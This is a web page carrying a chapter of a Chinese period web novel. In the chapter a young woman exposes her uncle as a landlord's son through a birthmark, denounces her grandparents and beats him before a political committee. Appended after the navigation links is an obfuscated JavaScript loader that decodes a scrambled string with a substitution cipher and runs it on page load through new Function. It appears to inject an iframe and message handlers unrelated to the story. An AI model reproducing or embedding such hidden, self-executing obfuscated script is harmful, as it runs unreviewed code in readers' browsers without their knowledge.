返回

七零军婚:那两口子都有点癫

首页
关灯
护眼
字体:
第五十七章 证据确凿,阮桂明就是地主崽子
村民们都冲阮家人指指点点,说话也不避着了,毫无顾忌。

大家越看阮桂明,越觉得他和白三元像,反而一点都不像阮老头。

“我没和白地主搞破鞋,阮桂明是我和我男人生的,你们别听阮七七胡说八道,她心毒着呢!”

朱三妹还算镇定,并不是特别慌张。

白地主都已经死了,只要她咬死不承认,肯定治不了她的罪。

再就是她很清楚,阮桂明确实不是白地主的种,死去的阮爹才是。

她肚皮里生出来的儿子是谁的种,她心里门清。

“不是白地主的崽,为什么屁股上有白家的胎记?还有阮金福和阮金贵,好吃懒做,不求上进,就是地主崽子的作风,我们贫农可都是自力更生丰衣足食的勤快人!”

阮七七又挤进来了些,一句一句地大声质问。

割尾会的人都面有嘉许,对她越发欣赏,招纳的心思也更强烈了。

“桂明可是你亲叔,他倒霉了你也不好过!”

阮老头红着眼睛,咬牙切齿地警告。

“哎呀,忘了通知你们,我们三姐妹和你们家已经断亲了,瞧,领导盖了公章,白纸黑字写得明明白白,因为你们一家子好吃懒做,思想落后,觉悟太低,连语录都不好好学习,我们姐妹不屑和你们当亲戚,领导,你看一下!”

阮七七拿出了断亲文书,鲜红的公章赫然在目,她冲阮家人晃了几下,递给甲亢男人过目。

甲亢男人接过来,浏览了一遍,微微点头。

“阮七七同志的觉悟非常高,很早就看出了你们一家的地主劣根性,这门亲断得好!”

甲亢男人已经想起了阮七七,他听人说起过,有个漂亮姑娘要和爷爷奶奶和叔叔一家断亲,这姑娘将语录背得滚瓜烂熟,倒背如流,是个很不错的同志。

如今亲眼见到,他对阮七七的印象更好了,还起了惜才之心。

“你断亲了?你个大逆不道的畜生!”

阮老头气得差点吐血,他没想到阮七七竟敢不声不响地去断亲,这小贱人是真癫了,连脸都不要了。

“我不断亲,难道还要和你们这一家地主崽子和破鞋当亲人?你们不要脸,我们姐妹还要脸呢,呸!”

阮七七冲阮老头狠狠啐了口,满脸嫌恶。

阮老头死死咬着牙,他恨不得打死这小贱人,但如今最要紧的,是撇清儿子和白地主的关系。

“领导,白地主都已经死了,谁知道他屁股上有没有胎记,肯定有人泼我儿脏水,桂明就是我亲生的,千真万确!”

阮老头冲妻子使了个眼色,朱三妹心领神会,也大声喊冤,说自己没和白地主搞破鞋。

“我和他话都没说过,举报的人心肠太坏了,成心想逼死我们一家啊,领导,你一定要把这坏蛋抓起来,替我们一家申冤!”

朱三妹一屁股坐在地上,捶胸顿足地喊冤。

甲亢男人神情也变得犹豫,白地主都变成灰了,确实没法证实那个胎记。

“白地主死了,他儿孙还在啊,既然这胎记是白家独有的,找白家人验证一下不就知道了。”阮七七大声道。

甲亢男人眼睛一亮,立刻让手下去白李村,把白地主一家押过来。

阮老头死死盯着阮七七,眼神比毒蛇还阴毒。

阮七七冲他翻了个白眼,还呸了声,大声骂:“瘟老头!”

“噗”

阮老头再没忍住,一口血吐了出来,脸色变得灰白,看起来不太好了。

朱三妹惊叫了声,赶紧给他拍背顺气,又冲阮七七恶毒地瞪了过来,骂道:“小畜生,你天打雷劈不得好死!”

“报告领导,朱三妹宣传封建迷信!”

阮七七举起手,大声告状。

甲亢男人冲一个手下看了眼,这个精神小伙走过去,对着朱三妹就是一巴掌,“老破鞋安分点!”

对于这种不知廉耻的破鞋,他们下手向来都很重,不会留一点情面。

朱三妹干瘦的脸瞬间肿了半边,一边是起褶子的老腊脸,一边是肿胀的猪头,显得十分滑稽。

这一巴掌把阮家人都打怕了,大气都不敢出了。

此时的阮家人,还像在做梦一样,没理清楚如今的状况。

村民们肆无忌惮地议论着,工也不要出了,只想看大戏。

一天之内,抓到一窝间谍,还有一窝地主崽子,这可是百年难遇的大戏,错过要遗憾终生的!

阮家湾到白李村来回得两个小时,大家都耐心等着,而且围挤的人越来越多,连树上都站满了人。

两个小时后,白丰收背着个慈眉善目的老太太来了,身后还跟着白欢喜,白三元夫妇不在。

“白三元陪堂客回娘家了。”

手下过来汇报。

甲亢男人也没在意,有白丰收在也一样。

“领导,我进屋给你们看。”

白丰收低眉顺目,还微弯了点腰,表现得很听话。

“去吧!”

甲亢男对他的识相很满意,让手下带着他进屋检查胎记。

白欢喜搀扶着奶奶谢桃枝,温驯地站在旁边。

谢桃枝头发全白了,面容清瘦,气色很差,但依然能看出她年轻时的风采,她时不时捂着嘴咳嗽几声,身体情况很差。

阮七七搬了把椅子,大大方方地放在谢桃枝面前,粗声粗气喝道:“坐下!”

她又对甲亢男人说道:“领导,地主婆虽然是坏分子,但现在是重要证人,她这病恹恹的,随时都可能断气,让她坐着吧,就算断气也得等作了证再断,你说是不?”

甲亢男人本来都起了疑心,觉得看错了阮七七,居然对地主婆这么好,听了她一番话后,疑心顿时消失了。

“不错,死也得等作了证再死!”

甲亢男人面露赞许,还朝谢桃枝看了眼,眉头微皱,眼神很嫌恶。

白欢喜祖孙俩表现得唯唯诺诺的,一声也不敢吭,她搀扶着奶奶坐下,心里很感激阮七七。

她知道阮七七是故意那样说的,要不然割尾会肯定会起疑心。

谢桃枝坐下后,舒了口气,感觉好受了些,站着着实吃不消。

“报告,白丰收屁股上有胎记,和阮桂明的一模一样!”

手下带着白丰收出来了,大声汇报。

大家都变了脸色,看向阮桂明的眼神也变了,还真是地主崽子啊!

“果然是地主崽子,难怪好吃懒做,还想抢我家的房子,比周扒皮还狠,同志们,打到阮桂明啊!”

阮七七不知从哪里搬来了个小凳子,站在上面振臂高呼,叫完后,她奋勇当先地冲过去,揪着阮桂明衣领拳打脚踢。

阮小雪和阮霜降也冲过来帮忙,三姐妹恨极了这一家,下手特别狠。

“地主崽子还敢反抗?老子代表贫农灭了你!”

阮七七挨了阮桂明一拳,怒火上涨,疯了一样扑上去,将阮桂明按在地上,她骑上去左右开弓地揍。

甲亢男人一伙人都看傻了眼,卧槽,这姑娘也太积极了,不知道还以为她才是割尾会的呢!

【三更完成啦,马上要换地图进城了,宝贝们,晚安】

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();